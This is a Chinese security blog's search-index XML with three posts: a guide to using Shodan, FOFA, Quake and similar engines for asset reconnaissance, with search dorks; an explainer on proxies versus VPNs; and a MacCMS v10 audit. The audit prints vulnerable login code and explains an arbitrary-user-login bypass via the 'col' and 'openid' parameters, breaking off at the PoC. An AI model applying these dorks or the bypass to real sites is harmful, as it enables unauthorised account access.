-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlocal-search.xml
335 lines (161 loc) · 700 KB
/
local-search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>网络空间搜索引擎使用</title>
<link href="/2021/12/osint/"/>
<url>/2021/12/osint/</url>
<content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>相信网络空间搜索引擎是很多人在信息收集时必不可少的一个工具,本文将简单分析一下目前我们常用的网络空间搜索引擎:Shodan、ZoomEye、FOFA、Quake。我们将对它们做一个简单的分析比较,并总结出其中的一些利用技巧,从而帮助我们收集到更完善的信息</p><h1 id="原理理解"><a href="#原理理解" class="headerlink" title="原理理解"></a>原理理解</h1><p>(原理理解部分大多参考文献:网络空间搜索引擎的原理研究及安全应用)</p><p>很多人估计都能熟练的掌握网络空间搜索引擎的使用方法,但大家知道这些网络空间引擎是如何工作的吗?</p><p>其实网络空间搜索引擎和传统的搜索引擎如谷歌百度的工作方式很类似,只不过网络空间引擎的目标更多几种在全球的 IP 地址上,即搜索范围在 1.1.1.1-255.255.255.255 的所有设备及服务上</p><p>Shodan 是最早发布的网络空间搜索引擎,由 John Matherly 创建,据说 Shodan 早期工作仅由 24 台电脑完成,这 24 台电脑分布在全世界各处,不间断的地对全球 40 亿 IP 地址进行扫描及指纹识别,并提供快速、准确的结果搜索。Shodan 的框架模型可以简单理解为下图</p><img src="img/网络空间搜索引擎/image-20211212151834985.png" alt="image-20211212151834985" style="zoom: 50%;" /><p>全球 40 亿 IP 地址不简单的扫描及指纹识别,这是一个不小的工作量,背后似乎有着很多我们不能理解的操作。但其实我们自己也可以简单的实现这个工作</p><p>比如我们常用的端口扫描工具 nmap ,masscan。Masscan 号称是最快的互联网端口扫描器,最快可以在六分钟内扫遍互联网,nmap 虽然扫描速度偏慢,但 namp 对端口服务识别比较精准,结合这两个工具,我们似乎自己也能做一个网络空间搜索引擎</p><p>当然我们实际使用的空间搜索引擎肯定比这里设想的要复杂很多,不过原理上可以这么去理解。理解了原理后</p><h1 id="简单介绍"><a href="#简单介绍" class="headerlink" title="简单介绍"></a>简单介绍</h1><h2 id="Shodan"><a href="#Shodan" class="headerlink" title="Shodan"></a>Shodan</h2><p><a href="https://www.shodan.io/">https://www.shodan.io/</a></p><p>Shodan 是全球第一个网络设备搜索引擎,发布于 2009 年</p><img src="img/物联网搜索引擎/image-20211211171913376.png" alt="image-20211211171913376" style="zoom: 25%;" /><p>最简单的使用方法就是直接输入我们想要寻找资产的关键字,如我们想找一些使用 Grafana 系统的网站,Grafana 是一个监控仪表系统,最近也被爆出了任意文件读取的漏洞</p><p>可以看到 Shodan 有 2164 条搜索结果,Shodan 会在各个位置匹配关键字 Grafana</p><p><img src="img/%E7%89%A9%E8%81%94%E7%BD%91%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E/image-20211211180205413.png" alt="image-20211211180205413"></p><p>在我们对目标资产的指纹不明晰前,直接搜索关键字的方法能尽可能的找到相关资产,但搜索结果很可能并不准确,我们可以找一个 Grafana 网站,简单查看其特征,提取出它独有的特征,然后结合 Shodan 的语法可以进行精准搜索</p><p>如 Grafana 最简单明显的特征的就是 title ,然后在 Shodan 中搜索 <code>title:Grafana</code> ,在 Shodan 中搜索结果变成了 86166。搜索结果反而更多了,而且搜索也更加精准</p><img src="img/物联网搜索引擎/image-20211211181712966.png" alt="image-20211211181712966" style="zoom:50%;" /><p>在 Shodan 中,未注册用户可以获取 1 页的搜索结果,注册用户可以获取 2 页的搜索结果。另外 Shodan 的付费分为 59$、299$、899$ 三档,而且都是按月付费</p><img src="img/物联网搜索引擎/image-20211211182634623.png" alt="image-20211211182634623" style="zoom:50%;" /><h2 id="ZoomEye"><a href="#ZoomEye" class="headerlink" title="ZoomEye"></a>ZoomEye</h2><p><a href="https://www.zoomeye.org/">https://www.zoomeye.org/</a></p><p>ZoomEye(“钟馗之眼”)是知道创宇旗下404实验室驱动打造的中国第一款网站空间搜索引擎。其实在 ZoomEye 发布前,Shodan 把这种搜索引擎更多叫做<strong>网络设备搜索引擎</strong>,而国内更习惯使用<strong>网络空间搜索引擎</strong>这个概念,据说这个概念是知道创宇安全公司于 2013 年首次在国内提出的</p><img src="img/物联网搜索引擎/image-20211211183732587.png" alt="image-20211211183732587" style="zoom: 25%;" /><p>同样直接搜索 Grafana 关键字,ZoomEye 直接给出了 43w 条数据!搜索 title 指纹也有 27W+ 条数据</p><img src="img/物联网搜索引擎/image-20211211184408369.png" alt="image-20211211184408369" style="zoom:50%;" /><p>ZoomEye 对未注册用户开放 20 条搜索结果,注册用户 400 条搜索结果。其中会员也是按月付费</p><img src="img/物联网搜索引擎/image-20211211191700758.png" alt="image-20211211191700758" style="zoom: 25%;" /><h2 id="FOFA"><a href="#FOFA" class="headerlink" title="FOFA"></a>FOFA</h2><p><a href="https://fofa.so/">https://fofa.so/</a></p><p>FOFA 是白帽汇推出的一款网络空间搜索引擎,首页十分简洁</p><img src="img/物联网搜索引擎/image-20211211191922878.png" alt="image-20211211191922878" style="zoom: 25%;" /><p>fofa 对 Grafana 关键字的搜索结果是 27w 条,其中通过 title 指纹搜索的结果有 23w 条。结果上略少于 ZoomEye,但我这里不可能去验证这上万条数据是否有效,这里只供参考</p><img src="img/物联网搜索引擎/image-20211211192752133.png" alt="image-20211211192752133" style="zoom: 33%;" /><p>fofa 的非注册用户只能获取 10 条搜索结果,注册用户可以查看 50 条结果。另外 fofa 会员是永久制,主要分为高级会员 1000¥,普通会员 300¥</p><img src="img/物联网搜索引擎/image-20211212013604630.png" alt="image-20211212013604630" style="zoom: 25%;" /><h2 id="Quake"><a href="#Quake" class="headerlink" title="Quake"></a>Quake</h2><p><a href="https://quake.360.cn/quake/#/index">https://quake.360.cn/quake/#/index</a></p><p>Quake 是 360 网络安全响应中心自主研发设计的全网空间测绘系统</p><img src="img/物联网搜索引擎/image-20211212013818537.png" alt="image-20211212013818537" style="zoom:25%;" /><p>Quake 对 Grafana 关键字的搜索结果竟然有 67w+ 条!!!但是独立 ip 显示却只有 16w ,这个数字在 ZoomEye 中为 34w,在 fofa 中为 22w+。不过这里的数据都太庞大,无法实际去评测,只能粗略感受一下</p><img src="img/物联网搜索引擎/image-20211212013943772.png" alt="image-20211212013943772" style="zoom:50%;" /><p>Quake 的注册用户可以查看 500 条数据,而且 Queke 注册用户每个月有 3000 积分,可用于下载数据这些。另外 Quake 的会员也是终身制,价格对应权限和 FOFA 差不多,可以说 Quake 是对平民玩家最友善的平台了,赶快薅!!!</p><img src="img/物联网搜索引擎/image-20211212020041514.png" alt="image-20211212020041514" style="zoom: 25%;" /><h2 id="hunter"><a href="#hunter" class="headerlink" title="hunter"></a>hunter</h2><p><a href="https://hunter.qianxin.com/">https://hunter.qianxin.com/</a></p><table><thead><tr><th>搜索引擎</th><th>Grafana(资产数/独立IP)</th><th>title:”Grafana”(资产数/独立IP)</th></tr></thead><tbody><tr><td>hunter</td><td>33w/15w</td><td>29w/14w</td></tr></tbody></table><h1 id="实战使用"><a href="#实战使用" class="headerlink" title="实战使用"></a>实战使用</h1><p>上面以收集 Grafana 资产为演示,简单介绍了 Shodan、ZoomEye、FOFA 和 Quake 的使用,相信很多人已经有了自己选择的方案。上面的简单测评并不规范,在实战使用时,建议结合多个平台使用,这样才能保证信息收集的更加完整。下面将介绍一些实战利用技巧</p><h2 id="资产收集工具"><a href="#资产收集工具" class="headerlink" title="资产收集工具"></a>资产收集工具</h2><p>github 上有很多优秀的工具对搜索引擎提供的 API 进行了封装。通过工具的形式更有利于批量处理资产,毕竟在浏览器上一页一页的翻效率还是太低了</p><h3 id="kunyu"><a href="#kunyu" class="headerlink" title="kunyu"></a>kunyu</h3><p><a href="https://github.com/knownsec/Kunyu">https://github.com/knownsec/Kunyu</a></p><p>kunyu 是一款基于 ZoomEye 的工具,虽然是一个基于命令行的 python 工具,但使用方法类似于 meterpreter ,还是尽可能的优化了用户的使用体验</p><img src="img/网络空间搜索引擎/infos.png" alt="infos" style="zoom:50%;" /><h3 id="fofa-view"><a href="#fofa-view" class="headerlink" title="fofa_view"></a>fofa_view</h3><p><a href="https://github.com/wgpsec/fofa_viewer">https://github.com/wgpsec/fofa_viewer</a></p><p>Fofa_Viewer 一个简单易用的fofa客户端由WgpSec狼组安全团队 f1ashine 师傅主要编写,程序使用使用javaFx编写,便于跨平台使用</p><p>该工具具有图形化界面,而且可以在工具直接使用 fofa 语法!!!而且导出数据的信息十分完整!!!我的使用方法就是利用该工具导出大量 url , 然后利用自己编写的脚本批量处理我下一步的操作,使用上效率极高,而且该工具的学习成本也极低,上手即可用,配合上 fofa 的永久会员,体验感拉满,这里强推!!!</p><img src="img/网络空间搜索引擎/search.jpeg" alt="search" style="zoom: 33%;" /><h3 id="Quake-下载数据"><a href="#Quake-下载数据" class="headerlink" title="Quake 下载数据"></a>Quake 下载数据</h3><p>我使用工具一大目的是为了批量处理数据,其实这些搜索引擎都有下载搜索结果的功能,而 FOFA web 程序下载数据还需要 F 币,平民玩家玩不起。。。</p><p>但 Queke 其实是可以免费下载数据的,即使是注册用户,每个月也可以免费下载 3000 条数据。所以某些时候上使用 Queke 的下载功能也足够了</p><h2 id="谷歌浏览器插件"><a href="#谷歌浏览器插件" class="headerlink" title="谷歌浏览器插件"></a>谷歌浏览器插件</h2><p>Shodan 和 FOFA 都有提供谷歌浏览器的插件,通过插件我们可以简单的使用网络空间搜索引擎的一些功能</p><h3 id="Shodan-1"><a href="#Shodan-1" class="headerlink" title="Shodan"></a>Shodan</h3><img src="img/网络空间搜索引擎/image-20211212153652695.png" alt="image-20211212153652695" style="zoom:50%;" /><h3 id="fofa"><a href="#fofa" class="headerlink" title="fofa"></a>fofa</h3><img src="img/网络空间搜索引擎/image-20211212153839368.png" alt="image-20211212153839368" style="zoom: 33%;" /><h2 id="使用技巧"><a href="#使用技巧" class="headerlink" title="使用技巧"></a>使用技巧</h2><h3 id="icon-信息收集"><a href="#icon-信息收集" class="headerlink" title="icon 信息收集"></a>icon 信息收集</h3><p>favicon.ico 一般用于作为缩略的网站标志,它显示在浏览器的地址栏、浏览器标签上或者在收藏夹上,是展示网站个性的缩略 logo 标志,也是一个明显的指纹信息</p><p>这几个网络空间搜索引擎都有搜索 icon 信息的功能,在 fofa 中,这部分功能甚至只有高级会员才能使用</p><p>下图是 Quake 对 icon 信息的收集结果</p><img src="img/网络空间搜索引擎/image-20211212165655290.png" alt="image-20211212165655290" style="zoom:50%;" /><h3 id="更精准的指纹收集"><a href="#更精准的指纹收集" class="headerlink" title="更精准的指纹收集"></a>更精准的指纹收集</h3><p>icon 是一个明显的指纹信息,然后我们有些目标可能并没有十分明显的指纹,我们可能需要关注更多的细节,这时候可以考虑 cert 证书、body特征信息等,如下 fofa 语法:</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs ini"><span class="hljs-attr">cert</span>=<span class="hljs-string">"chinamobile"</span> 搜索证书(https或者imaps等)中带有中国移动的资产<br><span class="hljs-attr">body</span>=<span class="hljs-string">"Directory"</span>找目录遍历漏洞 <br><span class="hljs-attr">header</span>=<span class="hljs-string">"jboss"</span>从http头中搜索“jboss”<br></code></pre></td></tr></table></figure><h3 id="蜜罐信息"><a href="#蜜罐信息" class="headerlink" title="蜜罐信息"></a>蜜罐信息</h3><p>现在很多网络空间搜索引擎都提供了蜜罐识别的功能,我这里就有一台部署在公网的蜜罐系统,被 Queke 成功的识别到了</p><img src="img/网络空间搜索引擎/image-20211212170429284.png" alt="image-20211212170429284" style="zoom: 33%;" /><p>相信这个功能对一些小伙伴帮助还是很大的</p><p>参考:</p><p>[1]马程.网络空间搜索引擎的原理研究及安全应用[J].网络空间安全,2016,7(05):6-10.</p><p>Shodan BinaryEdge ZoomEye 网络空间搜索引擎测评:<a href="https://paper.seebug.org/970/">https://paper.seebug.org/970/</a></p>]]></content>
<categories>
<category>信息收集</category>
</categories>
<tags>
<tag>信息收集,工具</tag>
</tags>
</entry>
<entry>
<title>代理与vpn</title>
<link href="/2021/11/vpn_proxy/"/>
<url>/2021/11/vpn_proxy/</url>
<content type="html"><![CDATA[<h1 id="先了解下-OSI-7层网络模型"><a href="#先了解下-OSI-7层网络模型" class="headerlink" title="先了解下 OSI 7层网络模型"></a>先了解下 OSI 7层网络模型</h1><img src="img/代理与vpn/7bf72af07226ccbea19ac48d31373a60-20211207101218257.png" alt="7bf72af07226ccbea19ac48d31373a60.png" style="zoom:50%;" /><p>每层具有的协议如下:</p><table><thead><tr><th>OSI对应的层</th><th>功能</th><th>TCP/IP对应的协议</th><th>设备</th></tr></thead><tbody><tr><td>应用层</td><td>文件传输,电子邮件,文件服务,虚拟终端</td><td>TFTP,HTTP,SNMP,FTP,SMTP,DNS,Telnet</td><td>/</td></tr><tr><td>表示层</td><td>数据格式化,代码转换,数据加密</td><td>/</td><td>/</td></tr><tr><td>会话层</td><td>建立管理和维护会话</td><td>/</td><td>/</td></tr><tr><td>传输层</td><td>建立管理维护端到端的连接</td><td>TCP,UDP</td><td>四层交换机和四层路由</td></tr><tr><td>网络层</td><td>IP选址及路由</td><td>IP,ICMP,RIP,OSPF,BGP,IGMP</td><td>三层交换机和路由</td></tr><tr><td>数据链路层</td><td>传输有地址的帧以及错误检测功能</td><td>ARP,RARP,MTU,SLIP,CSLIP,PPP</td><td>网桥、交换机、网卡</td></tr><tr><td>物理层</td><td>以二进制数据形式在物理媒体上传输数据</td><td></td><td>中继器、集线器、双绞线</td></tr></tbody></table><h1 id="什么是代理?"><a href="#什么是代理?" class="headerlink" title="什么是代理?"></a>什么是代理?</h1><p><strong>代理(proxy)</strong>也称网络代理,是一种特殊的网络服务,允许一个终端(一般为客户端)通过这个服务与另外一个终端(一般为服务器)进行非直接的连接</p><p>提供代理服务的网络终端称为<strong>代理服务器(proxy server)</strong></p><p>一个完整的代理请求过程为:客户端首先根据代理服务器所使用的<strong>代理协议</strong>,与代理服务器创建连接,接着按照协议请求对目标服务器创建连接、或者获得目标服务器的指定资源</p><h1 id="常用代理协议"><a href="#常用代理协议" class="headerlink" title="常用代理协议"></a>常用代理协议</h1><p>常用的代理协议有 Socks 和 HTTP(HTTPS)</p><h2 id="Socks"><a href="#Socks" class="headerlink" title="Socks"></a>Socks</h2><p>SOCKS 是 SOCKet Secure 的缩写,根据 OSI 模型,SOCKS 是<strong>会话层的协议</strong>,位于表示层与传输层之间</p><p>SOCKS 代理协议只是简单地传递数据包,而不必关心是何种应用协议,所以速度比较快。SOCKS代理协议是1990年开发的,</p><p>SOCKS 协议具有 3 个常用版本:</p><ul><li>SOCKS4 - 只支持 TCP 应用</li><li>SOCKS4a - 是 SOCKS4 协议的简单扩展,允许客户端对无法解析域名的目的主机进行访问</li><li>SOCKS5 - 比 SOCKS4a 多了验证、IPv6、UDP支持</li></ul><blockquote><p>这里要理解一个知识点,SOCKS 是会话层的协议,位于传输层之上,所以 SOCKS 协议可以转发 TCP/UDP 协议的数据包。而传输层之下的数据包,如网络层的 ICMP 数据包就无法被 SOCKS 协议处理。实际中我们可以尝试挂上 SOCKS 代理 ping 一下 google 测试一下</p></blockquote><h2 id="HTTP"><a href="#HTTP" class="headerlink" title="HTTP"></a>HTTP</h2><p>HTTP 协议这里就不多说了,使用 HTTP 协议的代理服务也称为 HTTP 代理,对应的还有 HTTPS 代理</p><h1 id="什么是VPN?"><a href="#什么是VPN?" class="headerlink" title="什么是VPN?"></a>什么是VPN?</h1><p><strong>虚拟专用网络</strong>(英语:virtual private network,缩写:<strong>VPN</strong>)是指在公用网络上建立专用网络,进行加密通讯</p><p>VPN 会涉及隧道协议和加密技术,很多时候会看到人们统称为 VPN 协议</p><p>VPN 技术最早出现在20世纪90年代,那时的通信数据都是不加密的广播传输(要知道我们使用互联网时,发出的每个请求都会经过数个路由器,所以从这个角度上讲,我们的通信并不安全),像银行这种单位对隐私十分看中,想要保证隐私的通信往往需要铺设昂贵的专线,VPN 技术就是在这种情况下出现的</p><p>可以看出 VPN 最早的目的是在公用网络上搭建一条虚拟专用的网络隧道,并对其中的通信数据做了加密。然而人们却发现了一个意外的收获,比如客户利用 VPN 隧道成功和银行的服务器通信,这时他会发现银行位于内部网络其他的终端也能访问,位于国内的我们也便经常利用这一项技术完成翻墙的操作</p><h1 id="常用的-VPN-协议"><a href="#常用的-VPN-协议" class="headerlink" title="常用的 VPN 协议"></a>常用的 VPN 协议</h1><p>下面介绍一些常用的 VPN 协议</p><ul><li>PPTP - Point to Point Tunneling Protocol,点对点隧道协议,初代 VPN 协议,于 1996年发布,该协议将PPP数据包封装在IP数据包内通过IP网络 (如Internet或Intranet) 进行传送</li><li>L2TP/IPsec - L2TP 又叫第2层隧道协议,本身不具备加密功能,往往需要和 IPsec 协议配置实现加密传输,所以该方法速度会偏慢</li><li>OpenVPN - 一种开源、跨平台、也是目前最常用的 VPN 加密协议</li><li>Shadowsocks - 是一种免费且开源的加密代理/VPN 协议。它是一款基于 Socks5 的代理协议</li></ul><h1 id="代理和VPN的区别"><a href="#代理和VPN的区别" class="headerlink" title="代理和VPN的区别"></a>代理和VPN的区别</h1><p>简单来说,VPN 和代理是两种常用的上网方式,这两者的基本功能都十分适合我们这种职业,甚至在我们的需求面前,两者的功能相差并不大,以至于很多人把这两者搞混淆。我们需要从以下几个方面去弄懂代理和VPN</p><ul><li>匿名性</li></ul><p>代理和VPN的操作非常相似。它们都位于请求的中间,起到隐藏 IP 的效果</p><p>VPN 和代理两者的工作流程如下:</p><img src="img/代理与vpn/vpn-vs-proxy-workflow-difference-zh.jpeg" alt="vpn-vs-proxy-workflow-difference-zh" style="zoom:80%;" /><ul><li>隐私性</li></ul><p>我们通常使用的代理来自于供应商,其中代理服务器可能会记录我们的上网日志,VPN 服务商也可能会记录日志。最好的选择还是自己搭建代理服务器会VPN服务器</p><ul><li>加密</li></ul><p>毫无疑问 VPN 协议加密做的更好</p><ul><li>协议</li></ul><p>两者最大的区别首先就是使用的协议:</p><table><thead><tr><th></th><th>协议名称</th></tr></thead><tbody><tr><td>VPN</td><td>OpvenVPN、IPsec、IKEv2、PPTP、L2TP、WireGuard等</td></tr><tr><td>代理</td><td>HTTP、HTTPS、SOCKS、FTP、RTSP等</td></tr></tbody></table><p>VPN 协议大多是作用在 OSI 的第二层和第三层之间,所以使用 VPN 时,几乎能转发所有的流量</p><p>参考:</p><p>OSI 七层网络模型:<a href="https://www.cxybb.com/article/uonele/106735758">https://www.cxybb.com/article/uonele/106735758</a></p><p><a href="https://laravelacademy.org/post/9336">https://laravelacademy.org/post/9336</a></p><p>代理(服务器)是什么:<a href="https://pandavpnpro.com/blog/zh-cn/what-is-proxy">https://pandavpnpro.com/blog/zh-cn/what-is-proxy</a> </p><p>VPN 和代理的区别的有哪些:<a href="https://pandavpnpro.com/blog/zh-cn/vpn-vs-proxy-difference">https://pandavpnpro.com/blog/zh-cn/vpn-vs-proxy-difference</a></p><p>VPN 协议详解:<a href="https://pandavpnpro.com/blog/zh-cn/vpn-protocol">https://pandavpnpro.com/blog/zh-cn/vpn-protocol</a></p><p>VPN协议:<a href="https://www.triadprogram.com/vpn-protocol/">https://www.triadprogram.com/vpn-protocol/</a></p>]]></content>
<categories>
<category>计算机网络</category>
</categories>
<tags>
<tag>计算机网络</tag>
<tag>工具</tag>
</tags>
</entry>
<entry>
<title>MacCMS 实战审计</title>
<link href="/2021/11/maccms/"/>
<url>/2021/11/maccms/</url>
<content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>MacCMS 是一套快速视频内容管理开源 cms 系统。据说 MacCMS 已经发展了 12 年,现在流行的两个版本是v10和v8,本次主要审计 v10 的代码</p><h2 id="真假-MacCMS"><a href="#真假-MacCMS" class="headerlink" title="真假 MacCMS"></a>真假 MacCMS</h2><p>MacCMS 目前有两个自称官方的网站,maccms.pro 和 maccms.la,感觉两个都拿不出绝对的证据证明自己是官方网站。目前只能说下最可能的情况:</p><p>MacCMS 作者据说是一个叫做老王的程序员(原名王波),使用昵称为甜甜,在开发 MacCMS 期间,一直使用的域名是 maccms.com。在 2019 年 MacCMS 被用于构建非法网站的原因,官方 maccms.com 域名在2019年5月左右关闭</p><p>maccms.la 的 github 账号为 magicblack,于 2016 加入 github 仓库,在 2019 年 7 月 8 日创建了 MacCMS v8 和 v10 的仓库,最新发布的 v10 为 v2022.1000.3005(2021.8.18)</p><p>按照 magicblack 的说法,2021年6月,maccms.com 域名被盗取,转移到了境外。现在 maccms.com 会被解析到 maccms.pro 域名上</p><p>maccms.pro 的 github 账号为 maccmspro ,于 2021 年 6.4 日加入 github 仓库,只记录有 v10 2021.1000.2000 版,一直在小步更新,最近更新时间是2021年7月29日。另外 maccmspro 在建立时就做好了计划要推出全新的版本。maccmspro 在官网上的一篇博客声明自己并不是原版 MacCMS 的作者老王,maccmspro 的意思就是看不下 magicblack 这种发布盗版代码甚至在代码中种马的行为,于是决定自己替老王维护 MacCMS 程序</p><img src="img/maccms/image-20211105105811104.png" alt="image-20211105105811104" style="zoom:50%;" /><p>从这里其实能感受到 maccmspro 最本质的目的就是为了蹭原版 MacCMS 的热度,想做 MacCMS 的新官方平台,并逐步成为新版 MacCMS</p><p>maccmspro 在 github 似乎出现过一个乌龙,挺尴尬的,如下图,但此图真实性不确定</p><img src="img/maccms/1624932983-f1feef31751c05e.jpeg" alt="1624932983-f1feef31751c05e" style="zoom:50%;" /><p>另外也有一个域名 maccms.cn ,自称是 MacCMS 爱好者,和 maccms.la 网站的 UI 一模一样 ,却指出 maccms.la 是假冒域名,并指出官方域名为 maccms.pro</p><p>下面是我找到的一张 MacCMS 早期 maccms.com 的首页图,maccms.la 和 maccms.cn 现在就是这样的 UI </p><img src="img/maccms/2019033114563412.png" style="zoom:50%;" /><p>从有记录的时间上来看,magicblack 维护了 MacCMS 的代码有接近两年的时间,maccmspro 维护代码的时间只有 5个月,magicblack 在 github 上的点赞和 maccms.la 域名搜索排名上都要领先于 maccmspro。不过 maccmspro 凭借强大的营销,也算是站住了脚。目前看来 maccmspro 确定是一个想借用原版 MacCMS 名声打造新 MacCMS 的平台,剩下的问题就是 magicblack 是否是原版</p><p>我有找到苹果cms的百度贴吧,最早的消息能追溯到2017年,吧主名字也为 magicblack,这个 id 可以在很多博客网站上找到,从多方信息来看,magicblack 似乎是老王本人,种种迹象也表明 magicblack 似乎就是原版,但下面 magicblack 做的两件事也容易让人产生怀疑:</p><p>1)在 maccms.com 关闭后,magicblack 才在 github 上提交代码,无法证明在原官方正版存在时 magicblack 现官方平台做出了重大更新</p><p>2)magicblack 存在争议较大的文件:static/js/player.js,在 magicblack 中该文件的代码一直加密的,这段代码有引流、加载广告的嫌疑。maccmspro 声称解密了该代码,并利用这个把柄称 magicblack 在种木马,从而为自己赢得了不少信任</p><p>关于 magicblack 和 maccmspro 的瓜参考如下信息:</p><p> <a href="https://www.maccms.la/">https://www.maccms.la/</a></p><p> <a href="https://www.zhihu.com/question/469030135">https://www.zhihu.com/question/469030135</a></p><p> <a href="https://tieba.baidu.com/p/7425108612">https://tieba.baidu.com/p/7425108612</a></p><p> <a href="https://www.xunaonao.com/15058.html">https://www.xunaonao.com/15058.html</a></p><p>吃瓜最后,无论谁是 MacCMS 的正版维护者,能吸取的教训就是要好好维护自己的知识产权,同时也不要辜负用户的信任,做一些奇怪的操作,毕竟对广大的使用者来说,好用才是使用的唯一标准</p><h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h2><p>代码在 magicblack 或 maccmspro 的 github 仓库下载就可以了,虽然不知道这两家谁是正版,但目前两者的代码是差不多的,如果要区分两家的代码,有下面两种方法</p><p>1)区分 static/js/player.js 页面</p><p>maccmspro 和 magicblack 的 player.js 区别明显,可以在github上找相关源码对比细节,不过github上两者在代码版本标签上都没有打的很明显,该方法可能不够精准</p><p>2)后台查看跳转</p><p>在后台点击左上角图标就会跳转到对应网站,是谁就一清二楚了</p><img src="img/maccms/image-20211105144250109.png" alt="image-20211105144250109" style="zoom:50%;" /><p>【安装主题】</p><p>我下载的代码前台是没有模板文件的,这会影响对前台功能代码的审计。网上随便找套主题即可,这里贴一个好心人提供的模板:<a href="https://www.lanzoux.com/s/pgcms%EF%BC%8C%E6%8D%AE%E8%AF%B4">https://www.lanzoux.com/s/pgcms,据说</a> maccms 站长用海螺模板的较多,可以优先选这个</p><h1 id="前台任意用户登陆"><a href="#前台任意用户登陆" class="headerlink" title="前台任意用户登陆"></a>前台任意用户登陆</h1><h2 id="代码分析"><a href="#代码分析" class="headerlink" title="代码分析"></a>代码分析</h2><p>用户登陆的关键代码如下(只审计了最新的 v2022.1000.3024 版):</p><ul><li>可以看到有两种登陆验证方式,第一种是常见的用户名密码</li><li>第二种验证方式转换成sql语句的where字段就是 <code>where $data['col']=$data['openid']</code>,而两边的参数都是可控的,所以这里很好通过验证</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//application/common/model/User.php</span><br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">login</span>(<span class="hljs-params"><span class="hljs-variable">$param</span></span>)</span><br><span class="hljs-function"></span>{<br> <span class="hljs-variable">$data</span> = [];<br> <span class="hljs-variable">$data</span>[<span class="hljs-string">'user_name'</span>] = htmlspecialchars(urldecode(trim(<span class="hljs-variable">$param</span>[<span class="hljs-string">'user_name'</span>])));<br> <span class="hljs-variable">$data</span>[<span class="hljs-string">'user_pwd'</span>] = htmlspecialchars(urldecode(trim(<span class="hljs-variable">$param</span>[<span class="hljs-string">'user_pwd'</span>])));<br> <span class="hljs-variable">$data</span>[<span class="hljs-string">'verify'</span>] = <span class="hljs-variable">$param</span>[<span class="hljs-string">'verify'</span>];<br> <span class="hljs-variable">$data</span>[<span class="hljs-string">'openid'</span>] = htmlspecialchars(urldecode(trim(<span class="hljs-variable">$param</span>[<span class="hljs-string">'openid'</span>])));<br> <span class="hljs-variable">$data</span>[<span class="hljs-string">'col'</span>] = htmlspecialchars(urldecode(trim(<span class="hljs-variable">$param</span>[<span class="hljs-string">'col'</span>])));<br><br> <span class="hljs-keyword">if</span> (<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$data</span>[<span class="hljs-string">'openid'</span>])) {<br> <span class="hljs-comment">// 验证用户名密码……</span><br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">if</span> (<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$data</span>[<span class="hljs-string">'openid'</span>]) || <span class="hljs-keyword">empty</span>(<span class="hljs-variable">$data</span>[<span class="hljs-string">'col'</span>])) {<br> <span class="hljs-keyword">return</span> [<span class="hljs-string">'code'</span> => <span class="hljs-number">1001</span>, <span class="hljs-string">'msg'</span> => lang(<span class="hljs-string">'model/user/input_require'</span>)];<br> }<br> <span class="hljs-comment">// 第二种验证</span><br> <span class="hljs-variable">$where</span>[<span class="hljs-variable">$data</span>[<span class="hljs-string">'col'</span>]] = <span class="hljs-variable">$data</span>[<span class="hljs-string">'openid'</span>];<br> }<br> <span class="hljs-variable">$where</span>[<span class="hljs-string">'user_status'</span>] = [<span class="hljs-string">'eq'</span>, <span class="hljs-number">1</span>];<br> <span class="hljs-variable">$row</span> = <span class="hljs-keyword">$this</span>->where(<span class="hljs-variable">$where</span>)->find();<br>……<br>}<br></code></pre></td></tr></table></figure><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>构造 <code>where $data['col']=$data['openid']</code> ,在数据库的 user 表中,user_id 是最清楚的,直接构造 <code>user_id=xxx</code> 就可以实现任意用户登陆</p><p>poc:openid为任意用户id</p><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span 